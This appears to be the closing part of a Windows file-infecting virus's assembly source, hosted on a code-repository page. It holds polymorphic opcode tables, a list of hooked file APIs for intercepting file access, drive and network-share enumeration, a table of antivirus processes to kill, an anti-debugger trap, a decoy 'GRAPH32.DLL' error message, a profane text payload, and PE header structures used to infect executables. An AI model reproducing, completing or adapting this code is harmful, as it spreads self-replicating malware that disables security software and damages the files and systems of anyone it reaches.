ADD_Reg32: DB 0C0h, 0C3h, 0C1h, 0C2h, 0C6h, 0C7h, 0C5h
POP_Reg32: DB 058h, 05Bh, 059h, 05Ah, 05Eh, 05Fh, 05Dh
DEC_Reg32: DB 048h, 04Bh, 049h, 04Ah, 04Eh, 04Fh, 04Dh
MOV_Reg32: DB 0B8h, 0BBh, 0B9h, 0BAh, 0BEh, 0BFh, 0BDh
XOR_Ptr_Reg32 DB 0B0h, 0B3h, 0B1h, 0B2h, 0B6h, 0B7h, 0B5h
PUSH_Reg32: DB 050h, 053h, 051h, 052h, 056h, 057h, 055h
; ESP CS DS ES SS FLAGS
PUSH_Reg16_32 DB 054h, 00Eh, 01Eh, 006h, 016h, 09Ch
; API which we hook in order to intercept file-access.
Hook_API_CRC: CRC16 <CopyFileA>
CRC16 <CreateFileA>
CRC16 <CreateProcessA>
CRC16 <DeleteFileA>
CRC16 <GetFileAttributesA>
CRC16 <MoveFileA>
CRC16 <MoveFileExA>
CRC16 <SetFileAttributesA>
CRC16 <CopyFileW>
CRC16 <CreateFileW>
CRC16 <CreateProcessW>
CRC16 <DeleteFileW>
CRC16 <GetFileAttributesW>
CRC16 <MoveFileW>
CRC16 <MoveFileExW>
CRC16 <SetFileAttributesW>
; API which we need in order to function.
Work_API_CRC: CRC16 <CloseHandle>
CRC16 <CreateFileMappingA>
CRC16 <FindClose>
CRC16 <FindFirstFileA>
CRC16 <FindNextFileA>
CRC16 <GetCurrentDirectoryA>
CRC16 <GetDriveTypeA>
CRC16 <GetFileSize>
CRC16 <GetFileTime>
CRC16 <GetLastError>
CRC16 <GetLocalTime>
CRC16 <GetLogicalDriveStringsA>
CRC16 <GetProcAddress>
CRC16 <GetSystemDirectoryA>
CRC16 <GetTickCount>
CRC16 <GetWindowsDirectoryA>
CRC16 <GlobalAlloc>
CRC16 <GlobalFree>
CRC16 <LoadLibraryA>
CRC16 <MapViewOfFile>
CRC16 <SetCurrentDirectoryA>
CRC16 <SetFileTime>
CRC16 <UnmapViewOfFile>
CRC16 <WriteFile>
CRC16 <WritePrivateProfileStringA>
End_Work_API_CRC:
Dispatch_API: ; ANSI.
DW (Hook_CopyFileA-START)
DW (Hook_CreateFileA-START)
DW (Hook_CreateProcessA-START)
DW (Hook_DeleteFileA-START)
DW (Hook_GetFileAttributesA-START)
DW (Hook_MoveFileA-START)
DW (Hook_MoveFileExA-START)
DW (Hook_SetFileAttributesA-START)
; Unicode.
DW (Hook_CopyFileW-START)
DW (Hook_CreateFileW-START)
DW (Hook_CreateProcessW-START)
DW (Hook_DeleteFileW-START)
DW (Hook_GetFileAttributesW-START)
DW (Hook_MoveFileW-START)
DW (Hook_MoveFileExW-START)
DW (Hook_SetFileAttributesW-START)
; McAfee, AVP, NAV, and NOD-Ice.
Kill_Table: CRC16 <_AVP32.EXE>
CRC16 <_AVPCC.EXE>
CRC16 <_AVPM.EXE>
CRC16 <ALERTSVC.EXE>
CRC16 <AMON.EXE>
CRC16 <AVP32.EXE>
CRC16 <AVPCC.EXE>
CRC16 <AVPM.EXE>
CRC16 <N32SCANW.EXE>
CRC16 <NAVAPSVC.EXE>
CRC16 <NAVAPW32.EXE>
CRC16 <NAVLU32.EXE>
CRC16 <NAVRUNR.EXE>
CRC16 <NAVW32.EXE>
CRC16 <NAVWNT.EXE>
CRC16 <NOD32.EXE>
CRC16 <NPSSVC.EXE>
CRC16 <NRESQ32.EXE>
CRC16 <NSCHED32.EXE>
CRC16 <NSCHEDNT.EXE>
CRC16 <NSPLUGIN.EXE>
CRC16 <SCAN.EXE>
CRC16 <SMSS.EXE>
End_Kill_Table:
DB 'YOU CALL IT RELIGION, YOU''RE FULL OF SHIT', 0Dh
DB 'YOU NEVER KNEW, YOU NEVER DID, YOU NEVER WILL', 0Dh
DB 'YOU''RE SO FULL OF SHIT, I DON''T WANT TO HEAR IT', 0Dh
DB 'ALL YOU DO IS TALK ABOUT YOURSELF', 0Dh
DB 'I DON''T WANNA HEAR IT, COZ I KNOW NONE OF IT''S TRUE', 0Dh
DB 'I''M SICK AND TIRED OF ALL YOUR GODDAMN LIES', 0Dh
DB 'LIES IN THE NAME OF GOD', 0Dh
DB 'WHEN ARE YOU GOING TO REALIZE THAT I DON''T WANT TO HEAR IT?!', 0Dh
DB 'I KNOW YOU''RE SO FULL OF SHIT, SO SHUT YOUR FUCKING MOUTH', 0Dh
DB 'YOU KEEP ON TALKING, TALKING EVERYDAY', 0Dh
DB 'FIRST YOU''RE TELLING STORIES, THEN YOU''RE TELLING LIES', 0Dh
DB 'WHEN THE FUCK ARE YOU GOING TO REALIZE THAT I DON''T WANT TO HEAR IT!!', 0Dh
DB 'AH, SHUT THE FUCK UP...', 0Dh, 0
Virus_End:
Kill_List_Drives DB 256 DUP(0)
Net_Resource:
Clean_K32_Path DB 260 DUP(0)
Infected_K32_Path DB 260 DUP(0)
ANSI_Target_File DB 260 DUP(0)
Time_Creation DD 0
WNetOpenEnumA DD 0
Time_Last_Access DD 0
WNetEnumResourceA DD 0
Time_Last_Write DD 0
DD 0
Local_Time DW 8 DUP(0)
End_Heap:
Stupid_Dummy DB 0
POLY_START:
PUSH EAX ; This is where the host's
; VA address is placed.
PUSHFD ; Save all registers & flags.
PUSHAD
CALL @16 ; Check for presence of my
DB 'C:\VIRUS.TIR', 0 ; innoculation-file, as I
@16: CALL GetFileAttributesA ; run Soft-Ice myself.
INC EAX ; Nah it ain't T, so let's
JZ START ; go for it.
INT 01h ; Ack, we can't hurt daddy.
NOP
JMP $
Carrier:
PUSH 10h
CALL @17
DB 'Error!', 0
@17: CALL @18
DB 'Failed to initialize GRAPH32.DLL', 0
@18: PUSH 0
CALL MessageBoxA
PUSH 0 ; Back to the beast...
CALL ExitProcess
; The good old MZ-header...
MZ_Header STRUC
MZ_Mark DW 0
MZ_Image_Mod_512 DW 0
MZ_Image_512_Pages DW 0
MZ_Reloc_Items DW 0
MZ_Header_Size_Mem DW 0
MZ_Min_Size_Mem DW 0
MZ_Max_Size_Mem DW 0
MZ_Program_SS DW 0
MZ_Program_SP DW 0
MZ_Checksum DW 0
MZ_Program_IP DW 0
MZ_Program_CS DW 0
MZ_Reloc_Table DW 0
MZ_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0 ; Minimal CPU required.
Object_Count DW 0 ; Number of sections in PE.
PE_Date_Time DD 0 ; Date/time PE was build.
Reserved_1 DD 0
DD 0
NT_Header_Size DW 0
PE_Flags DW 0
DD 4 DUP(0)
EIP_RVA DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
PE_Reserved_5 DD 0
Image_Size DD 0
Headers_Size DD 0
PE_Checksum DD 0
DW 0
DLL_Flags DW 0
PE_Header ENDS
Section_Header STRUC
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
Section_Virtual_Size DD 0 ; Memory-size of section.
Section_RVA DD 0 ; Start section in memory.
Section_Physical_Size DD 0 ; Section-size in file.
Section_Physical_Offset DD 0 ; Section file-offset.
Section_Reserved_1 DD 0 ; Not used for executables.
Section_Reserved_2 DD 0 ; Not used for executables.
Section_Reserved_3 DD 0 ; Not used for executables.
Section_Flags DD 0 ; Flags of the section.
Section_Header ENDS
Find_First_Next_Win32 STRUC
File_Attributes DD 0
Creation_Time DD 0, 0
Last_Accessed_Time DD 0, 0
Last_Written_Time DD 0, 0
Find_File_Size_High DD 0
Find_File_Size_Low DD 0
Find_Reserved_1 DD 0
Find_Reserved_2 DD 0
FFN_File_Name DB 260 DUP(0)
Find_DOS_File_Name DB 14 DUP(0)
Find_First_Next_Win32 ENDS
Date_Time STRUC
Current_Year DW 0
Current_Month DW 0
Current_Day_Of_Week DW 0
Current_Day DW 0
Current_Hour DW 0
Current_Minute DW 0
Current_Second DW 0
Current_Millisecond DW 0
Date_Time ENDS
END POLY_START
Reference in New Issue View Git Blame Copy Permalink